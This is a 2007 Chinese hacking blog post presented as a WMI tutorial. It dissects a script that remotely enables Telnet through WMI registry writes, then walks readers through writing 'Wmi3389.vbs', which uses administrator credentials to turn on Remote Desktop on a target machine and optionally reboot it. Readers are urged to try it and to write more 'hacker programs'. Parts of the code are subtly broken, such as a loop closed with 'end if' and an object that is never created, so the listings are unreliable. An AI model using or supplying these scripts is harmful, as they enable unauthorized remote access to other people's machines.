首页 > V.B.T > WMI基础知识  

WMI基础知识  

2007年10月4日 发表评论 阅读评论

来源:阿D
一:WMI基础知识  

WMI 最初于1998年作为一个附加组件与 Windows NT 4.0 Service Pack 4 一起发行,是内置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系统中核心的管理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准,WMI是一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化管理工具来管理Windows资源,在WMI之前这些工具都是通过 Win32应用程序编程接口(Application ProgrammingInterfaces,API)来访问和管理Windows资源的。只要你熟悉系统编程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 API,WMI的出现使得系统管理员可以通过一种简便的方法即利用常见的脚本语言实现常用的系统管理任务。  
利用WMI需要和脚本如WSH和VBScript结合起来,可以实现的功能大家可以看微软的MSDN文档。  

在编写我们自己的脚本之前,我们需要对WMI的体系结构有个基本的了解。如图一:(1.gif)  
在WMI 体系结构中我们最需要关心的就是WMI提供程序,WMI提供程序在WMI和托管资源之间扮演着中间方的角色。提供程序代表使用者应用程序和脚本从WMI托管资源请求信息,并发送指令到WMI托管资源。下面是我们利用WMI编程经常要用到的WMI内置提供程序清单,以供编程参考。  
1.Active Directory提供程序  
链接库文件:dsprov.dll  
命名空间:root\directory\ldap  
作用:将Active Directory 对象映射到 WMI。  

2.事件日志提供程序  
链接库文件:ntevt.dll  
命名空间:root\cimv2  
作用:管理 Windows 事件日志,例如,读取、备份、清除、复制、删除、监视、重命名、压缩、解压缩和更改事件日志设置。  

3.注册表提供程序  
链接库文件:stdprov.dll  
命名空间:root\default  
作用:读取、写入、枚举、监视、创建、删除注册表项和值。  

4.Win32 提供程序  
链接库文件:cimwin32.dll  
命名空间:root\cimv2  
作用:提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM 用户及组,以及更多资源的信息。  

5.Windows 安装程序提供程序  
链接库文件:msiprov.dll  
命名空间:root\cimv2  
作用:提供对已安装软件信息的访问。  

从上面可以看出在WMI中类(即内置提供程序)被分组到命名空间中,命名空间可以看成是一个组。比如,命名空间 root\cimv2 包括大部分表示通常与计算机和操作系统相关联的资源的类。在使用类的时候要说明类所在的命名空间。类由属性和方法构成。这是可视化编程中的两个重要的概念。属性描述的是对象的状态,方法是对象可以执行的操作。  
理论知识学起来很枯燥,下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。  

二:解析RTCS.VBS主要代码  

有时候阅读别人的源码未尝不是一个好而且快捷的办法,下面就让我们来认真学习zzzEVAzzz编写的一个可以远程开启telnet服务的脚本RTCS.VBS。  
该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现远程开启/关闭目标telnet服务,为了方便大家学习我抽出了最主要的代码,具体分析如下:  

<br />set objlocator=createobject("wbemscripting.swbemlocator")  <br />//创建WbemScripting.SwbemLocator对象(脚本接口)。  <br />//可以看出WMI其实就是把Com组件WbemScripting.SWbemLocator封装起来罢了。  <br />set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)  <br />//通过ConnectServer函数请求连接到WMI控件服务上,root/default为命名空间。  <br />set objinstance=objswbemservices.get("stdregprov")  <br />//建立访问注册表的实例。  <br />set objmethod=objinstance.methods_("SetDWORDvalue")  <br />//建立可以更改注册表键值的方法。  <br />set objinparam=objmethod.inparameters.spawninstance_()  <br />//MethodData.InParameters用于获取或设置方法的输入参数。这里用spawninstance方法为它建立一个子实例,下面就可以将参数值赋予这个对象的属性。  <br />objinparam.hdefkey=&h80000002  <br />//hdefkey表示根键,根键的十六制值如下:  <br />//HKEY_CLASSES_ROOT (&H80000000)   <br />//HKEY_CURRENT_USER (&H80000001)   <br />//HKEY_LOCAL_MACHINE (&H80000002)   <br />//HKEY_USERS (&H80000003)   <br />//HKEY_CURRENT_CONFIG (&H80000005)   <br />objinparam.ssubkeyname="SOFTWARE&#92;Microsoft&#92;TelnetServer&#92;1.0"  <br />//ssubkeyname表示子键。  <br />objinparam.svaluename="NTLM"  <br />//svaluename表示属性名。  <br />objinparam.uvalue=ntlm  <br />//uvalue表示键值。  <br />set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  <br />//利用execmethod执行方法,这里才真正改写了注册表。  <br /><br />//下面是修改telnet服务的TelnetPort值,原理同上。  <br />objinparam.svaluename="TelnetPort"  <br />objinparam.uvalue=port  <br />set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

修改telnet的注册表部分就完成了,将NTLM和TelnetPort进行了修改,要是对方的telnet服务没有开启呢?下面就需要根据telnet的具体情况,来启动telnet服务,继续看代码。  

<br />//首先查询远程主机上tlntsvr的启动方式。  <br />set objswbemservices=objlocator.connectserver(ipaddress,"root&#92;cimv2",username,password)  <br />//win32_service类在root&#92;cimv2命名空间中,作用没忘记吧?快看基础知识呵。  <br />set colinstances=objswbemservices.execquery("select * from win32_service where name=&apos;tlntsvr&apos;")  <br />//注意:查询都是通过枚举来实现的。  <br />for each objinstance in colinstances  <br />if objinstance.startmode="Disabled" then  <br />set objmethod=objinstance.methods_("changestartmode")  <br />//创建changestartmode方法来改变tlntsvr的启动方式。  <br />set objinparam=objmethod.inparameters.spawninstance_()  <br />objinparam.startmode="Manual"  <br />//将启动方式改为手动方式。  <br />set objoutparam=objinstance.execmethod_("changestartmode",objinparam)  <br />end if  <br /><br />//下面启动我们的telnet服务。这里zzzEVAzzz的思路好象有点不对,也不知道是不是他的疏忽,我个人认为当telnet服务已经启动时不应该用stopservice方法停止服务。  <br />if objinstance.started=true then  <br />intstatus=objinstance.stopservice()  <br />//stopservice是WMI中用于停止服务实例的服务的方法。  <br />else  <br />intstatus=objinstance.startservice()  <br />end if  <br />next  <br />

三:手把手教你编写WMI版本的ROTS.vbs来开启3389  
  
zzzVEAzzz 的脚本就分析到这里吧,怎么样?很EASY吧?!我相信大家现在一定蠢蠢欲动了?:)好,一起来写一个什么程序呢?ROTS.vbs我想大家一定都用过吧?什么东东啊?我……砸!大家应该知道这个ROTS是有它的使用条件的,不仅要有管理员帐号,还要允许进行ipc连接,在这个到处都是墙的年代,ipc 早就不实用了,而且ROTS.vbs早就被查杀了,那该怎么办?当然是自己动手了。能不能实现ROTS的一样的远程开启3389的功能而不受ipc的限制呢?答案自从我写了这篇文章后成为肯定的,哈哈,吹吹了。  
当然我们也是要求系统至少是2000server及以上的,最近看到有个软件可以给2000pro开3389,由于比较忙,也没怎么去理它,这里我们暂且不说它,知道了原理一样好办。  
开启3389有个注册表导入的方法,其它一些软件的开法,我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表:  

<br />Windows Registry Editor Version 5.00  <br /><br />&#91;HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;netcache&#93;   <br />"Enabled"="0"   <br />&#91;HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;Winlogon&#93;   <br />"ShutdownWithoutLogon"="0"   <br />&#91;HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Policies&#92;Microsoft&#92;Windows&#92;Installer&#93;   <br />"EnableAdminTSRemote"=dword:00000001   <br />&#91;HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Terminal Server&#93;   <br />"TSEnabled"=dword:00000001   <br />&#91;HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;TermDD&#93;   <br />"Start"=dword:00000002   <br />&#91;HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;TermService&#93;   <br />"Start"=dword:00000002   <br />&#91;HKEY_USERS&#92;.DEFAULT&#92;Keyboard Layout&#92;Toggle&#93;   <br />"Hotkey"="1"   <br /><br />

原理知道了就没什么难的了,先理清我们的思路,我们的主要任务是更改注册表里的键值。首先是创建WMI对象,然后是连接到远程WMI服务器,最后修改注册表键值。  
部分主要代码如下(完整的代码和详细的注释请看附带的软件包)  

<br />on error resume next  <br />//防止出现意外。  <br />set outstreem=wscript.stdout  <br />if (lcase(right(wscript.fullname,11))="wscript.exe") then  <br />set objShell=wscript.createObject("wscript.shell")  <br />objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))  <br />//cmd后带/K参数表示执行字符串指定的命令。  <br />wscript.quit  <br />end if  <br />//进行简单的检查。  <br />if wscript.arguments.count<3 then  <br />usage()  <br />wscript.echo "Not enough parameters."  <br />wscript.quit  <br />end if  <br />//取出参数,分别赋予几个变量。  <br />ipaddress=wscript.arguments(0)  <br />username=wscript.arguments(1)  <br />password=wscript.arguments(2)  <br />option=wscript.arguments(3)  <br />usage()  <br /><br />

下面是核心代码,也是实现远程修改注册表的功能,我这里给出另外一种实现的方式,对照前面的代码很容易理解,我就只作简单的解释了。详细情况可以参阅MSDN文档中关于StdRegProv类的说明。  
(http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp)  

<br /><br />const HKEY_LOCAL_MACHINE = &H80000002  <br />const HKEY_USERS=&H80000003  <br />strComputer = ipaddress  <br /><br />//获取wmi对象  <br />Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!&#92;&#92;" &_   <br />strComputer & "&#92;root&#92;default:StdRegProv")  <br /><br />strKeyPath = "SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;netcache"  <br />strValueName = "Enabled"  <br />strValue=0  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;Winlogon"  <br />strValueName = "ShutdownWithoutLogon"  <br />strValue=0  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SOFTWARE&#92;Policies&#92;Microsoft&#92;Windows&#92;Installer"  <br />strValueName = "EnableAdminTSRemote"  <br />strValue=1  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM&#92;CurrentControlSet&#92;Control&#92;Terminal Server"  <br />strValueName = "TSEnabled"  <br />strValue=1  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM&#92;CurrentControlSet&#92;Services&#92;TermDD"  <br />strValueName = "Start"  <br />strValue=2  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM&#92;CurrentControlSet&#92;Services&#92;TermService"  <br />strValueName = "Start"  <br />strValue=2  <br />oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = ".DEFAULT&#92;Keyboard Layout&#92;Toggle"  <br />strValueName = "Hotkey"  <br />strValue=1  <br />oreg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue  <br /><br /><br />//下面实现重启远程机器  <br /><br />if option="/r" then   <br />outstreem.write "Now, rebooting target...."  <br />strwmiquery="select * from win32_operatingsystem where primary=&apos;true&apos;"  <br />set colinstances=objswbemservices.execquery(strwmiquery)  <br />for each objinstance in colinstances  <br />objinstance.win32shutdown(2)  <br />end if  <br />outstreem.write "Ok, rebooted the target."  <br /><br />//简单的用法说明的函数。  <br />function usage()  <br />wscript.echo string(60,"=")  <br />wscript.echo "Wmi3389 v1.0.0"  <br />wscript.echo "No ipc Open 3389, code written by pye."  <br />wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"  <br />wscript.echo "Usage:"  <br />wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password &#91;/r&#93;"  <br />wscript.echo "/r reboot the target this is optional"  <br />wscript.echo "It use WMI to Open 3389 of target server."  <br />wscript.echo string(60,"=")&vbcrlf  <br />end function  <br />

将上面的代码复制带记事本里,保存为Wmi3389.vbs。然后在CMD里执行:  

<br />cscript Wmi3389.vbs ipaddress administrator password &#91;/r&#93;

看看是不是和ROTS.vbs有一样的效果啊?大家赶快实践实践吧。  

四:最后的唠叨  

大家可以看出WMI的功能是很强大的,这里要感谢MicroSoft了,它是永远都不会让我们失望的。WMI对象允许通过VB,VBA,WSH,  VBScript, JScript,ASP,或是支持自动对象的其它环境,对WMI进行完全访问。在参考查询体系中加入 WMI Scripting V1.1 Library ,则Visual Basic或是VBA方案就可以访问这些对象了。支持ActiveX程序的操作平台可以通过对象类的代号,或是类的名称创建这些对象,这些对象的前缀是WbemScripting,如 WbemScripting.SwbemLocator。所以大家有兴趣的完全可以利用VB,WSH,VBScript, JScript,ASP等编写更多的利用WMI的黑客程序。

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:WMI基础知识  
本文地址:http://www.woyigui.cn/2007/10/04/wmi%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86nbsp%3Bnbsp%3B/

分类: V.B.T 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*